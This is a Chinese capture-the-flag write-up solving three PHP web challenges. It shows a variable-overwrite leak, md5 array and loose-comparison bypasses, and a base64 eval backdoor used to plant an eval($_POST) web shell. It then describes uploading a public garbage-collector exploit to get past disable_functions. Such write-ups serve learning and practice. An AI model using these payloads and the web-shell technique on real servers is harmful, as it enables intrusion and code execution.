欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN

程序员文章站 2022-07-16 15:51:29
...

[BJDCTF2020]Mark loves cat

进入题目是一个博客首页
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN点了半天没找到可以利用的点,用dirsearch扫一下
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN
扫到.git目录,用Githack把源码down下来
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN看一下关键代码

//flag.php
<?php

$flag = file_get_contents('/flag');



//index.php
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

index.php会先对post和get传递的数据进行遍历赋值,然后有三个if判断,都绕过了就会输出flag,开始我绕了半天,一直没绕过去。后面我又重新想了一下,在那三个判断里会exit出其他变量,如果我在赋值阶段,将flag变量赋给exit的变量,那么是不是就可以获取flag了。
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN没错,就这么简单,分析一下流程

foreach($_GET as $x => $y){
    $$x = $$y;
}




if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

这里用到的是这两部分,首先看到遍历部分。遍历部分用$x存储我们get传递进去的数据的键名,$y存储值。
我的payload是yds=flag,那么此时$x=yds,$y=flag,然后就是赋值了

$$x=$$y //$x=yds,$y=flag
所以这个语句等价于
$yds=$flag

然后再看判断,如果不存在get和post传递的flag参数,就退出并输出$yds,而此时的$yds等于$flag,就拿到了flag

[MRCTF2020]Ez_bypass

buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN进题目就是一堆代码,进源码看下
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN这样就好看多了。
第一层

if (md5($id) === md5($gg) && $id !== $gg)

用数组绕过

?id[]=1&gg[]=2

第二层

if (!is_numeric($passwd))
            {
                 if($passwd==1234567)

passwd不是数字且等于123456,老生常谈的绕过

passwd=1234567a

跑一下
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN拿下

[GKCTF2020]CheckIN

源码

<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

乍一看以为是反序列化,但是没找到反序列化函数,然后又审了一下代码。
代码定义了一个ClassName类,有$code和$decode属性,以及__construct()和x()两个方法。在__construct()中,调用x()为$code赋值,又将$code base64解码后赋给$decode,然后用eval函数执行$decode。再看x(),x()就是返回我们传递的数据。
ok,那么思路就很明确了,我们应该传递一个名为Ginkgo的参数,其值为我们想要执行的代码的base64编码。
试一下phpinfo
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN成功,试着执行命令
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN无回显,然后我又去看了一下phpinfo,发现了这个
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckINdisable_function ! ! !
那就要绕过df才行了,先写个马

Ginkgo=ZXZhbCgkX1BPU1RbMV0pOw==  //eval($_POST[1]);

用蚁剑连接
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN在根目录发现/flag,打开发现是空白,还有一个/readflag,打开是乱码
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN因为有disable_function,所以也没法用命令行。
在github上找到了大佬绕过disbale_function的脚本
php_bypass_disable_function
里面有三个脚本,找适用于当前环境php版本的脚本,这题是php 7.3.18,我就用的php-gc-bypass这个脚本。这个脚本利用的是PHP garbage collector程序中的堆溢出触发来执行命令(大佬tql)。
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN
这就是你要执行的命令。改成/readflag
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN发现tmp目录是777权限,将脚本上传到该目录,然后去包含这个文件。
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN成功拿到flag